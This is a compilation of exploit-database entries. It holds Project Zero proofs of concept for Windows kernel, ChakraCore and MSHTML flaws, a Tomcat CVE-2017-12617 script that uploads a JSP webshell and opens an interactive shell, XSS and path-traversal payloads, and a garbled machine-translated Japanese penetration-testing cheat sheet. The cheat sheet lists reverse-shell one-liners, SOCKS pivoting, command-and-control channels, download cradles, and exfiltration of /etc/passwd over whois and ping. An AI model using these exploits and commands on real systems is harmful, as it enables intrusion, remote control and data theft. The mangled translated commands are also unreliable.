00000030: 37 37 37 37 37 37 37 ?? ?? ?? ?? ?? ?? ?? ?? ?? 7777777.........
--- cut ---

A different repeated marker byte (inserted by Special Pools upon allocation) is displayed each time, which means that uninitialized data from new pool allocations is disclosed to the user-mode client in each attempt.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cstdio>

#define ObjectNameInformation ((OBJECT_INFORMATION_CLASS)1)

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  BOOL wow64 = FALSE;
  if (!IsWow64Process(GetCurrentProcess(), &wow64) || wow64) {
    printf("The program has to be built for the native architecture of your OS (x86 or x64).\n");
    return 1;
  }

  HANDLE hFile = CreateFile(L"C:\\Windows\\system32\\svchost.exe", FILE_READ_ATTRIBUTES, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    printf("CreateFile failed, %d\n", GetLastError());
    return 1;
  }

  BYTE OutputBuffer[0x100];
  ULONG ReturnLength;
  ULONG MaximumLeakLength;

  for (MaximumLeakLength = 0; MaximumLeakLength < sizeof(OutputBuffer); MaximumLeakLength++) {
    NTSTATUS st = NtQueryObject(hFile, ObjectNameInformation, OutputBuffer, MaximumLeakLength, &ReturnLength);
    if (st == STATUS_OBJECT_PATH_INVALID) {
      MaximumLeakLength--;
      break;
    }
  }

  while (1) {
    RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));

    NTSTATUS st = NtQueryObject(hFile, ObjectNameInformation, OutputBuffer, MaximumLeakLength, &ReturnLength);
    if (st != STATUS_BUFFER_OVERFLOW) {
      printf("NtQueryObject failed, %x\n", st);
      CloseHandle(hFile);
      return 1;
    }

    PrintHex(OutputBuffer, MaximumLeakLength);

    getchar();
  }

  CloseHandle(hFile);
  return 0;
}

            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1334

The "String.prototype.replace" method can be inlined in the JIT process. So in the method, all the calls which may break the JIT assumptions must be invoked with updating "ImplicitCallFlags". But "RegexHelper::StringReplace" calls the replace function without updating the flag. Therefore it fails to detect if a user function was called.


The PoC shows that it can result in type confusion.

PoC:
*/

function main() {
    let arr = [1.1, 1.1, 1.1, 1.1, 1.1];
    function opt(f) {
        arr[0] = 1.1;
        arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
        arr[2] = 1.1;
        arr[3] = 1.1;
    }

    let r0 = () => '0';
    for (var i = 0; i < 0x1000; i++)
        opt(r0);

    opt(() => {
        arr[0] = {};
        return '0';
    });

    print(arr[1]);
}

main();
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1333

Bailout:
"ChakraCore’s background JIT compiler generates highly optimized JIT’ed code based upon the data and infers likely usage patterns based on the profile data collected by the interpreter. Given the dynamic nature of JavaScript code, if the code gets executed in a way that breaks the profile assumptions, the JIT’ed code “bails out” to the interpreter where the slower bytecode execution restarts while continuing to collect more profile data."

From https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview



One of the ways to generate bailouts in Chakra is to directly change the opcode of an instruction that can't be JITed. This is performed by the method "Lowerer::GenerateBailOut".


Here's a snippet of Lowerer::GenerateBailOut.
    ...
    // Call the bail out wrapper
    instr->m_opcode = Js::OpCode::Call;
    if(instr->GetDst())
    {
        // To facilitate register allocation, don't assign a destination. The result will anyway go into the return register,
        // but the register allocator does not need to kill that register for the call.
        instr->FreeDst();
    }
    instr->SetSrc1(IR::HelperCallOpnd::New(helperMethod, this->m_func));
    m_lowererMD.LowerCall(instr, 0);

Here's some calling patterns of the method.

1.
instr->FreeSrc1();
instr->FreeSrc2();
this->GenerateBailOut(instr);

2.
stElem->FreeSrc1();
stElem->FreeDst();
GenerateBailOut(stElem, nullptr, nullptr);

Judging from the method code that doesn't care about "Src2" and the calling patterns, freeing or unlinking "Src1" and "Src2" is up to the callers. I could spot some points that don't free or unlink an instuction's "Src2", despite the instruction has "Src2". In these cases, it ends up to be converted to "Js::OpCode::Call" with "Src2". So, what happens if a Call instruction has "Src2"?

Here's the trace log of the PoC.
$L13: [helper]
                                                                                
    s51<-48>        =  MOV            s51(r13)                                  4C 89 6D D0 
    (rdi).u64       =  MOV            0xXXXXXXXX (BailOutRecord).u64            48 BF 78 23 00 7C 17 7F 00 00 
    (rax).u64       =  MOV            SaveAllRegistersAndBailOut.u64            48 B8 20 92 19 93 1F 7F 00 00 
                       CALL           (rax).u64, s51(r13)                       49 FF C5 
                       JMP            $L14                                      E9 00 00 00 00 
                       StatementBoundary  #-1                                   


"CALL  (rax).u64, s51(r13)" is what Chakra wanted to generate(despite CALLs don't take the second operand). "49 FF C5" is x86-64 code actually generated and disassembled as "inc r13". This also means there's a bug in the x86-64 assembler.


PoC bug:
The following buggy method is used to convert a St*Fld instruction to a bailout. Unlike just "StFld" instructions, "StSuperFld" instructions take "Src2" as "this". So the following method should have freed "Src2".

bool
Lowerer::GenerateStFldWithCachedType(IR::Instr *instrStFld, bool* continueAsHelperOut, IR::LabelInstr** labelHelperOut, IR::RegOpnd** typeOpndOut)
{
    ...
        instrStFld->m_opcode = Js::OpCode::BailOut;
        instrStFld->FreeSrc1();
        <<----------- should call FreeSrc2
        instrStFld->FreeDst();

        this->GenerateBailOut(instrStFld);
    ...
}

PoC:
*/

class MyClass {
    constructor() {
        this.arr = [1, 2, 3];
    }

    f() {
        super.arr = [1];
        this.x;  // for passing BackwardPass::DeadStoreTypeCheckBailOut ?
    }
}

let c = new MyClass();
for (let i = 0; i < 0x10000; i++) {
    c.f();
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1338

Here's a snippet of the method that interprets a javascript function's bytecode.

Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()
{
    PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a)

    if (!this->closureInitDone)
    {
        Assert(this->m_reader.GetCurrentOffset() == 0);
        this->InitializeClosures();    <<------- (b)
    }

    ...
    ... interprets the bytecode

...

At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized.
But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code.

void StackScriptFunction::BoxState::Box()
{
...

    if (callerFunctionBody->DoStackScopeSlots())
    {
        Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure();
        if (stackScopeSlots)
        {
            Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount());
            interpreterFrame->SetLocalClosure((Var)boxedScopeSlots);
        }
    ...
...

"stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.

It's a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js.

PoC:
*/

function trigger() {
    let a, b, c;

    function g() {
        trigger();

        a, b, c;
    }

    g();
}

trigger();
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1328

Windows: WLDP/MSHTML CLSID UMCI Bypass 
Platform: Windows 10 S (thought should be anything with UMCI)
Class: Security Feature Bypass

Summary:
The enlightened lockdown policy check for COM Class instantiation can be bypassed in MSHTML hosts leading to arbitrary code execution on a system with UMCI enabled (e.g. Device Guard)

Description:

Scripting hosts are supposed to check against the Windows Lockdown Policy (WLDP) before instantiating arbitrary COM classes. This is typically done by calling WldpIsClassInApprovedList from WLDP.DLL before instantiating any COM class. For example in the case of JScript’s ActiveXObject the ProgID is passed to CLSIDFromProgID by the script host and the resulting CLSID is passed to WLDP to determine what’s allowed.

It’s possible to circumvent this check by using the COM TreatAs key to redirect one of the limited (8) allowed CLSIDs to an arbitrary class and get it instantiated. However you can’t do this using ActiveXObject as CLSIDFromProgID will return the resulting CLSID from looking up TreatAs. That said there is a race condition here. However in an MSHTML Local Machine Zone scenario you can bypass it by using an OBJECT tag. In this case MSHTML parses the classid attribute and checks that CLSID against WLDP. It then proceeds to create it using CoCreateInstance which follows TreatAs and creates a different object.

This does require modification of the registry to work, but I think that’s in scope. The reason I’m reporting this one is I think it’s a bug in MSHTML, rather than in an application you can easily block (at least if you want to disable

Proof of Concept:

I’ve provided a PoC is two files, a text file to set-up the registry and a HTML file. The registry file is in the REGINI format which allows it to work on Win10S as while reg.exe and regedit.exe are blocked regini.exe isn’t. The HTML file can be run inside IE or my prefered option HTML Help. You could even make the PoC file a CHM but I didn’t. The PoC can bootstrap things like untrusted .NET but for simplicity it doesn’t.

1) Unpack the PoC and ensure the HTML file does NOT have MOTW.
2) From the explorer Run dialog execute “regini path\to\keys.txt”
3) Execute the HTML file from the Run dialog using “hh path\to\shell.html”

Expected Result:
The class creation should fail.

Observed Result:
The class creation succeeded and the HTML file executed notepad.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42997.zip

            

情報収集

オープンソースインテリジェンス情報コレクション(OSINT)

github

github_nuggests(githubに漏れた敏感な情報を自動的にクロールする):https://github.com/az0ne/github_nuggests

GSIL(15分以内に)ほぼリアルタイムでGitHubでリークされた情報を発見することができます:https://GITHUB.COM/FEEICN/GSIL

X-Patrol(Xiaomiチームの):3359GITHUB.com/misecurity/x-patrol

whois query/register counter-ceck/emailカウンターチェック/関連資産

Webmaster's Home :http://whois.chinaz.com/?domainname=target.comws=

ラブステーション:https://whois.aizhan.com/target.com/

Weibu Online :https://X.Threatbook.cn/

IP Counter-Check:https://dns.aizhan.com/

Tianyancha :https://www.tianyancha.com/

Tiger Mom Check :http://ww.whomx.com/

歴史的脆弱性クエリ:オンラインクエリ:http://wy.zone.ci/

自己構築:https://github.com/hanc00l/wooyun_publi/

Googleハッキング

エンタープライズパスワード辞書を作成

辞書リスト

PasswordList:3359Github.com/lavalamp-/password-lists

Pigman Dictionary :https://pan.baidu.com/s/1dfjyedzblasting_dictionary(弱いパスワード、一般的に使用されるパスワード、ディレクトリブラスト、データベースブラスト、編集者ブラスト、背景爆破などを含むさまざまな辞書を共有および収集します。

特定のメーカーの場合、メーカー関連のドメイン名の辞書の構築に焦点を当てています

['%PWD%123'、 '%user%123'、 '%user%521'、 '%user%2017'、 '%pwd%321'、 '%pwd%521'、 '%user%321'、 '%pwd%123!'、 '%pwd%1 23!@# '、'%PWD%1234 '、'%user%2016 '、'%user%123 $%^'、'%user%123!@# '、'%pwd%2016 '、'%pwd%2017 '、'%pwd%1! '、'%pwd%2 @'、'%PWD%3# '、'%PWD%123#@! '、'%PWD%12345 '、'%PWD%123 $%^'、'%PWD% 56 '、'%user%123#@! '、'%user%

パスワード生成

GenPass(漢字を備えた弱いパスワードジェネレーター:33https://GITHUB.COM/RICTERZ/GENPASS/

Passmaker(ルールをカスタマイズできるパスワード辞書ジェネレーター):https://github.com/bit4woo/passmaker

pydictor(強力なパスワードジェネレーター):https://github.com/landgrey/pydictor

メーリングリストGet

TheHarvester:https://github.com/laramies/theharvester

メールアドレスを取得し、アドレス帳をエクスポートします

LinkedInt :https://github.com/mdsecactivebreach/linkedint

Mailet:https://github.com/ridter/mailget

リークパスワードクエリ

ghostproject:3359ghostproject.fr/

pwndb:https://pwndb2am4tzkvold.onion.to/

エンタープライズ外の関連情報のコレクション

サブドメイン名取得

レイヤーサブドメイン掘削機4.2記念バージョン

subdomainsbrute:https://github.com/lijiejie/subdomainsbrute

wydomain:https://github.com/ring04h/wydomain

sublist3r:https://github.com/aboul3la/sublist3r

site:target.com:https://www.google.com

GitHubコードリポジトリ

パケットキャプチャ分析リクエストリクターズ返品値(ジャンプ/ファイルアップロード/APP/APIインターフェイスなど)

Webmasterヘルパーリンクおよびその他のオンライン検索Webサイト

ドメイン送信の脆弱性

Linux

dig @ns.example.com example=.com axfr

Windows

nslookup -type=ns xxx.yyy.cn #queryドメイン名を解決するDNSサーバー

nslookup #enter nslookupインタラクティブモード

サーバーdns.domian.com #pecify dns server

LS XXX.YYY.CN #LISTドメイン情報

getDomainsByssl.py :3359Note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b1222222222222222222222222222222222222222222222222222222

censys.io証明書:https://censys.io/certificates?q=target.com

CRT.SH証明書クエリ3:3359CRT.SH/?Q=%25.Target.com

Shadon :https://www.shodan.io/

Zoomeye :https://www.zoomeyee.org/

FOFA :https://FOFA.SO/

Censys:https://Censys.io/

dnsdb.io :3359dnsdb.io/zh-cn/search?q=target.com

api.hackertarget.com :3358api.hackertarget.com/reversedns/?q=target.com

community.riskiq.com :3359Community.riskiq.com/search/target.com

subdomain3 :https://github.com/yanxiu0614/subdomain3

Fuzzdomain :https://github.com/chora10/fuzzdomain

dnsdumpster.com :3359dnsdumpster.com/

phpinfo.me :3359phpinfo.me/domain/

DNS Open Data Interface :https://DNS.BUFFEROVER.RUN/DNS?Q=BAIDU.com

イントラネット

を入力します

エンタープライズの弱いアカウントの抜け穴に基づいて

VPN(電子メール、パスワードブラスト、ソーシャルワーカーなどを介してVPNを取得)

エンタープライズ関連の運用およびメンテナンスシステム(Zabbixなど)

システムの脆弱性に基づいて入力

Metasploit(脆弱性エクスプロイトフレームワーク):3359Github.com/rapid7/Metasploit-framework

スクリプトを悪用します

ウェブサイトのアプリケーションの普及

SQL注入

クロスサイトスクリプト(XSS)

クロスサイトリクエスト偽造(CSRF)

ssrf(ssrf_proxy)

機能/ビジネスロジックの脆弱性

その他の脆弱性など

CMSコンテンツ管理システムの脆弱性

エンタープライズセルフビルドエージェント

ワイヤレスWi-Fiアクセス

シーン攻撃

コマンドとコントロール

ICMP :3359Pentestlab.blog/2017/07/28/Command-and-Control-icmp/

DNS :https://Pentestlab.blog/2017/09/06/command-and-control-dns/

Dropbox :https://Pentestlab.blog/2017/08/29/command-and-control-dropbox/

gmail :https://pentestlab.blog/2017/08/03/command-and-control-gmail/

Telegram :http://drops.xmd5.com/static/drops/tips-16142.html

Twitter :https://Pentestlab.blog/2017/09/26/command-and-control-twitter/

ウェブサイトキーワード:https://Pentestlab.blog/2017/09/14/command-and-control-website-keyword/

Powershell :https://Pentestlab.blog/2017/08/19/command-and-control-powershell/

Windows com :https://pentestlab.blog/2017/09/01/command-and-control-windows-com/

webdav :https://pentestlab.blog/2017/09/12/command-and-control-webdav/

Office 365 :https://www.anquanke.com/post/id/86974

https :https://pentestlab.blog/2017/10/04/command-and-control-https/

Kernel :https://Pentestlab.blog/2017/10/02/command-and-control-kernel/

ウェブサイト:https://Pentestlab.blog/2017/11/14/command-and-control-website/

WMI :https://Pentestlab.blog/2017/11/20/command-and-control-wmi/

WebSocket :https://Pentestlab.blog/2017/12/06/command-and-control-websocket/

画像:https://Pentestlab.blog/2018/01/02/command-and-control-images/

Webインターフェイス:https://Pentestlab.blog/2018/01/03/command-and-control-web-interface/

JavaScript :https://Pentestlab.blog/2018/01/08/command-and-control-javascript/

.

フロンティング

ドメインフロンティング

tor_fronting。

エージェント

VPN

http :http://cn-proxy.com/

トル

インターネットクロスボーダーアプリケーション

イントラネットクロスボーダー転送

NCポート転送

LCXポート転送

NP

プロキシスクリプトTunna

reduh

.

イントラネットクロスボーダープロキシ浸透

ew

フォワードソックスV5サーバー:

./ew -s ssocksd -l 1080

リバウンドソックスV5サーバー:A)最初に、パブリックネットワークIPを使用してホストAで次のコマンドを実行します。

$ ./ew -s rcsocks -l 1080 -e 8888

b)ターゲットホストBで靴下V5サービスを開始し、パブリックホストのポート8888にバウンスします

$ ./ew -s rssocks -d 1.1.1.1 -e 8888

マルチレベルのカスケード

$ ./ew -s lcx_listen -l 1080 -e 8888

$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999

$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

LCX_TRANの使用

$ ./EW -S SSOCKSD -L 9999

$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

LCX_LISTENとLCX_SLAVEの使用

$ ./ew -s lcx_listen -l 1080 -e 8888

$ ./EW -S SSOCKSD -L 9999

$ ./EW -S LCX_SLAVE -D 127.0.0.1 -E 8888 -F 127.0.0.1 -G 9999

参照のために「3レベルのカスケード」ローカルソックステストケース

$ ./ew -s rcsocks -l 1080 -e 8888

$ ./EW -S LCX_SLAVE -D 127.0.0.1 -E 8888 -F 127.0.0.1 -G 9999

$ ./ew -s lcx_listen -l 9999 -e 7777

$ ./ew -s rssocks -d 127.0.0.1 -e 7777

シロアリ

use :3https://rootkiter.com/termite/readme.txtの手順

プロキシスクリプト

Regeorg :3359github.com/sensepost/regeorg

シェルリバウンド

bash

bash -i /dev/tcp/10.0.0.1/8080 01

Perl

perl -e '使用socket; $ i='10 .0.0.1 '; $ p=1234; socket(s、pf_inet、sock_stream、getprotobyname(' tcp ')); if(connect(s、 sockaddr_in($ p、inet_aton($ i)))){open(stdin、 's'); open(stdout、 's'); open(stderr、 's'); exec( '/bin/sh -私');};'

Python

python -c 'インポートソケット、サブプロセス、OS; s=socket.socket.socket(socket.af_inet、socket.sock_stream); s.connect(( '10.0.0.1'、1234)); o s.dup2(s.fileno()、0); os.dup2(s.fileno()、1); os.dup2(s.fileno()、2); p=subprocess.call(['/bin/sh' '、' -i '];'

Php

php -r '$ sock=fsocopen('10 .0.0.1'、1234); exec( '/bin/sh -i 3 3 23'); '

ルビー

ruby -rsocket -e'f=tcpsocket.open('10 .0.0.1 '、1234).to_i; exec sprintf('/bin/sh -i%d%d 2%d '、f、f、f)'

Java

r=runtime.getRuntime()

p=r.exec(['/bin/bash'、 '-c'、 'exec 5/dev/tcp/10.0.0.1/2002; cat 5 | while read line; do \ $ line 25 5; done'] string []))

p.waitfor()

NC

#use-e

NC -E /BIN /SH 223.8.200.234 1234

#not used-e

mknod /tmp /backpipe p

/bin/sh 0/tmp/backpipe | NC AttacherIPリスニングポート1/TMP/バックパイプ

ルア

lua -e 'require(' socket '); require(' os '); t=socket.tcp(); t:connect(' 202.103.243.122 '、' 1234 '); os.execute('/bin/sh -i 3 3 23 ');'

イントラネットファイルの転送およびダウンロード

WPUT

wput dir_name ftp://linuxpig:123456@host.com/

wget

wget http://site.com/1.rar -o 1.rar

ARIAC2(インストールする必要があります)

aria2c -o owncloud.zip 3https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2

Powershell

$ p=new-Object System.net.webclient

$ P.DownLoadFile( 'http://Domain/file'、 'c:%homepath%file')

VBSスクリプト

args=wscript.argumentsを設定します

url='http://domain/file'

dim xhttp: set xhttp=createObject( 'microsoft.xmlhttp')

dim bstrm: set bstrm=createObject( 'adodb.stream')

xhttp.open 'get'、url、false

xhttp.send

BSTRMで

.type=1 '。開ける。xhttp.responsebodyを作成します

.savetofile 'c: \%homepath%\ file'、2 '

で終わります

実行:cscript test.vbs

Perl

#!/usr/bin/perl

lwp:simpleを使用します。

getStore( 'http://domain/file'、 'file');

実行:perl test.pl

Python

#!/usr/bin/python

urllib2をインポートします

u=urllib2.urlopen( 'http://domain/file')

localfile=open( 'local_file'、 'w')

localfile.write(u.read())

localfile.close()

実行:python test.py

ルビー

#!/usr/bin/ruby

「net/http」が必要です

net:http.start( 'www.domain.com'){| http |

r=http.get( '/file')

open( 'Save_Location'、 'wb'){| file |

file.write(r.body)

}

}

実行:Ruby test.rb

Php

?php

$ url='http://ww.example.com/file';

$ path='/path/to/file';

$ ch=curl_init($ url);

curl_setopt($ ch、curlopt_returntransfer、true);

$ data=curl_exec($ ch);

curl_close($ ch);

file_put_contents($ path、$ data);

実行:php test.php

ncattacker

CATファイル| NC -L 1234

ターゲット

NC HOST_IP 1234ファイル

FTP

FTP 127.0.0.1ユーザー名パスワードファイル終了を取得します

TFTP

TFTP -IホストGET C:%HOMEPATH%FILE LOCATION_OF_FILE_ON_TFTP_SERVER

bitsadmin

bitsadmin /転送n http://domain /file c:%homepath%file

ウィンドウファイル共有

正味使用x: \ 127.0.0.1 \ share /user:example.comuserid mypassword

SCPローカルからリモート

SCPファイルuser@host.com:/TMP

リモートからローカル

scp user@host.com:/TMPファイル

rsyncリモートrsyncサーバーからローカルマシンにファイルをコピーする

rsync -av root@192.168.78.192:3360ww /databack

ローカルマシンからリモートRSYNCサーバーにファイルをコピーする

rsync -av /databack root@192.168.78.192:3360www

certutil.exe

certutil.exe -urlcache -split -f http://site.com/file

コピー

コピー\\ ip \ sharename \ file.exe file.exe

WHOISレシーバーホストB:

NC -VLNP 1337 | SED 's///g' | base64 -d

送信者ホストA:

whois -h host_ip -p 1337 `cat /etc /passwd | base64`

WHOIS + TARFIRST:

ncat -k -l -p 4444 |ティーファイル。b64#teeファイルに、それが確実に持っていることを確認できるようにする

TAR CZF - /TMP /* | base64 | xargs -iビットタイムアウト0.03 whois -h host_ip -p 4444ビット

ついに

cat files.b64 | tr -d '\ r \ n' | base64 -d | tar zxv#ファイルを出力します

Ping送信終了:

xxd -p -c 4 Secret.txt |読み取りライン。 ping -c 1 -p $ line ipを行います。終わり

受信者ping_receiver.py:

sysをインポートします

try:

scapy.allからimport *

:を除く

印刷( 'SCAPYが見つかりません、SCAPY: PIPインストールSCAPY'をインストールしてください ')

sys.exit(0)

def process_packet(pkt):

pkt.haslayer(ICMP):の場合

pkt [icmp] .type==8:の場合

data=pkt [icmp] .load [-4:]

print(f '{data.decode(' utf-8 ')}'、flush=true、end=''、sep='')

#!/usr/bin/python
import requests
import re
import signal
from optparse import OptionParser

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'


banner="""


   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    
                                                                           
                                                                           

[@intx0x80]

"""


def signal_handler(signal, frame):

    print ("\033[91m"+"\n[-] Exiting"+"\033[0m")

    exit()

signal.signal(signal.SIGINT, signal_handler)




def removetags(tags):
  remove = re.compile('<.*?>')
  txt = re.sub(remove, '\n', tags)
  return txt.replace("\n\n\n","\n")


def getContent(url,f):
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    re=requests.get(str(url)+"/"+str(f), headers=headers)
    return re.content

def createPayload(url,f):
    evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
    if req.status_code==201:
        print ("File Created ..")

   
def RCE(url,f):
    EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
    </FORM>
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
    InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>"""


    
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    
    req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
    


def shell(url,f):
    
    while True:
        headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
        cmd=input("$ ")
        payload={'cmd':cmd}
        if cmd=="q" or cmd=="Q":
                break
        
        re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
        re=str(re.content)
        t=removetags(re)
        print (t)





#print bcolors.HEADER+ banner+bcolors.ENDC

parse=OptionParser(


bcolors.HEADER+"""


   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    
                                                                           
                                                                           


./cve-2017-12617.py [options]

options:

-u ,--url [::] check target url if it's vulnerable 
-p,--pwn  [::] generate webshell and upload it
-l,--list [::] hosts list

[+]usage:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt


[@intx0x80]

"""+bcolors.ENDC

    )


parse.add_option("-u","--url",dest="U",type="string",help="Website Url")          
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")

(opt,args)=parse.parse_args()

if opt.U==None and opt.P==None and opt.L==None:
    print(parse.usage)
    exit(0)



else:
    if opt.U!=None and opt.P==None and opt.L==None:
        print (bcolors.OKGREEN+banner+bcolors.ENDC)
        url=str(opt.U)
        checker="Poc.jsp"
        print (bcolors.BOLD +"Poc Filename  {}".format(checker))
        createPayload(str(url)+"/",checker)
        con=getContent(str(url)+"/",checker)
        if b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
            print (bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
            print (bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
    
        else:
            print ('Not Vulnerable to CVE-2017-12617 ')
    elif opt.P!=None and opt.U!=None and  opt.L==None:
        print (bcolors.OKGREEN+banner+bcolors.ENDC)
        pwn=str(opt.P)
        url=str(opt.U)
        print ("Uploading Webshell .....")
        pwn=pwn+".jsp"
        RCE(str(url)+"/",pwn)
        shell(str(url),pwn)
    elif opt.L!=None and opt.P==None and opt.U==None:
        print (bcolors.OKGREEN+banner+bcolors.ENDC)
        w=str(opt.L)
        f=open(w,"r")
        print ("Scaning hosts in {}".format(w))
        checker="Poc.jsp"
        for i in f.readlines():
            i=i.strip("\n")
            createPayload(str(i)+"/",checker)
            con=getContent(str(i)+"/",checker)
            if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
                print (str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
            
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# CVE: CVE-2017-14619

1. Description

Cross-site scripting (XSS) vulnerability in phpMyFAQ through 2.9.8 allows
remote attackers to inject arbitrary web script or HTML via the "Title of
your FAQ" field in the Configuration Module.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14619
https://securityprince.blogspot.fr/2017/10/cve-2017-14619-phpmyfaq-298-cross-site_92.html

2. Proof of Concept

Steps to Reproduce:

   1. Open the affected link http://localhost/phpmyfaq/admin/?action=config
   with logged in user with administrator privileges
   2. Enter the <marquee onscroll=alert(document.cookie)> in the “Title of
   your FAQ field”
   3. Save the Configuration
   4. Login using any other user or simply click on the phpMyFAQ on the
   top-right hand side of the web portal


3. Solution:

The Vulnerability will be fixed in the next release of phpMyFAQ
            
# Exploit Title: Typo3 Restler Extension - Local File Disclosure
# Date: 2017-10-13
# Exploit Author: CrashBandicot @dosperl
# Vendor Homepage: https://www.aoe.com/
# Software Link: https://extensions.typo3.org/extension/restler/
# Tested on : MsWin
# Version: 1.7.0 (last)


# Vulnerability File : getsource.php

3.      $file = $_GET['file'];
13.        $text = file_get_contents($file);
16.      die($file . '<pre id="php">' . htmlspecialchars($text) . "</pre>");


# PoC : 
# http://vuln.site/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php

# https://i.imgur.com/zObmaDD.png


# Timeline :

# Vulnerability identified
# Vendor notified
# CVE number requested
# Exploit released
            
# Exploit Title: ClipShare v7.0 - SQL Injection
# Date: 2017-10-09
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.clip-share.com/
# Software Link: http://www.clip-share.com/
# Version: 7.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
